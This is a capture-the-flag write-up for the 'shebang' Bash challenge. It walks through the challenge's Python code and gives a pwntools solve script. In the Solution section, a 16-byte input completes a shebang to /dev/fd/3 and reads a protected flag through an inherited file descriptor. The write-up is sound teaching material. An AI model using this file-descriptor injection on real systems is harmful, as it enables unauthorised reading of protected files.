## Description
```Category: BashDifficulty: EasyAuthor: nopinjector
Shebang provides us with nice kernel-supported execution functionality since 1980.
Challenge Files: shebang.py Dockerfile ynetd```
## Analysis
We have 3 files, but `shebang.py` is the important one:
```python#!/usr/bin/python3 -uimport osimport secrets
NOBODY = 65534NOGROUP = 65534
def check_input(data):    if b'.' in data:        os._exit(1)
def main():    os.open('/bin/bash', os.O_RDONLY)    fd = os.open('./flag', os.O_RDONLY)    os.dup2(fd, 9)
    path = os.path.join('/tmp', secrets.token_hex(16))
    print("#!/d", end="")    data = os.read(0, 0x10)    os.close(0)    check_input(data)
    fd = os.open(path, os.O_CREAT | os.O_RDWR, 0o777)    os.write(fd, b'#!/d' + data)    os.close(fd)
    pid = os.fork()    if pid == 0:        os.setresgid(NOGROUP, NOGROUP, NOGROUP)        os.setresuid(NOBODY, NOBODY, NOBODY)        try:            os.execv(path, [path])        except:            os._exit(-1)    else:        os.waitpid(pid, 0)        os.unlink(path)
if __name__ == '__main__':    main()```
Let's break it down. We can't use `.` in our input:
```pythondef check_input(data):    if b'.' in data:        os._exit(1)```
`main` opens 2 files right away. `/bin/bash` at fd `3`, and `./flag` which it dups to fd `9`.
```python    os.open('/bin/bash', os.O_RDONLY)    fd = os.open('./flag', os.O_RDONLY)    os.dup2(fd, 9)```
Then it prompts for 16 bytes of input, prepends it with `#!/d`, and writes the contents to a file under `/tmp`:
```python    path = os.path.join('/tmp', secrets.token_hex(16))
    print("#!/d", end="")    data = os.read(0, 0x10)    os.close(0)    check_input(data)
    fd = os.open(path, os.O_CREAT | os.O_RDWR, 0o777)    os.write(fd, b'#!/d' + data)    os.close(fd)```
After that, it forks and the child calls `execv` on our new temp file.
```python    pid = os.fork()    if pid == 0:        os.setresgid(NOGROUP, NOGROUP, NOGROUP)        os.setresuid(NOBODY, NOBODY, NOBODY)        try:            os.execv(path, [path])        except:            os._exit(-1)```
Since the string always starts with `#!/d`, we need to use what we can under `/dev`.
```kali@kali:~/Downloads$ ls /devautofs           full          port    snapshot  tty17  tty31  tty46  tty60      vcs    vcsublock            fuse          ppp     snd       tty18  tty32  tty47  tty61      vcs1   vcsu1bsg              hidraw0       psaux   sr0       tty19  tty33  tty48  tty62      vcs2   vcsu2btrfs-control    hpet          ptmx    stderr    tty2   tty34  tty49  tty63      vcs3   vcsu3bus              hugepages     pts     stdin     tty20  tty35  tty5   tty7       vcs4   vcsu4cdrom            initctl       random  stdout    tty21  tty36  tty50  tty8       vcs5   vcsu5char             input         rfkill  tty       tty22  tty37  tty51  tty9       vcs6   vcsu6console          kmsg          rtc     tty0      tty23  tty38  tty52  ttyS0      vcs7   vcsu7core             log           rtc0    tty1      tty24  tty39  tty53  ttyS1      vcsa   vfiocpu_dma_latency  loop-control  sda     tty10     tty25  tty4   tty54  ttyS2      vcsa1  vga_arbitercuse             mapper        sda1    tty11     tty26  tty40  tty55  ttyS3      vcsa2  vhcidisk             mem           sda2    tty12     tty27  tty41  tty56  uhid       vcsa3  vhost-netdri              mqueue        sda5    tty13     tty28  tty42  tty57  uinput     vcsa4  vhost-vsockdvd              net           sg0     tty14     tty29  tty43  tty58  urandom    vcsa5  zerofb0              null          sg1     tty15     tty3   tty44  tty59  vboxguest  vcsa6fd               nvram         shm     tty16     tty30  tty45  tty6   vboxuser   vcsa7kali@kali:~/Downloads$ ls /dev/fd0  1  2  3```
We should be able to do something with fd 3 (`/bin/bash`) and fd 9 (`./flag`).
## Solution
After a bit of trial-and-error, this is what I ended up with:
```python#!/usr/bin/python3from pwn import *
#context.log_level='DEBUG'#p = process(['./shebang.py'])#p = process(['ncat', 'localhost', '1024'])p = process(['ncat', '--ssl', '7b00000060bf195c66261d67.challenges.broker5.allesctf.net', '1337'])p.recvuntil('#!/d')p.sendline('ev/fd/3\ncat <&9')flag = p.recvline().rstrip()print(flag)```
That will use the open file descriptors to create and execute the equivalent of this bash script:
```bash#!/bin/bashcat ./flag```
Run it against the remote service and we get our flag:
```kali@kali:~/Downloads$ ./shebang_solve.py [+] Starting local process '/usr/bin/ncat': pid 23080b'ALLES{reusing_filedescriptors_saves_resources}'```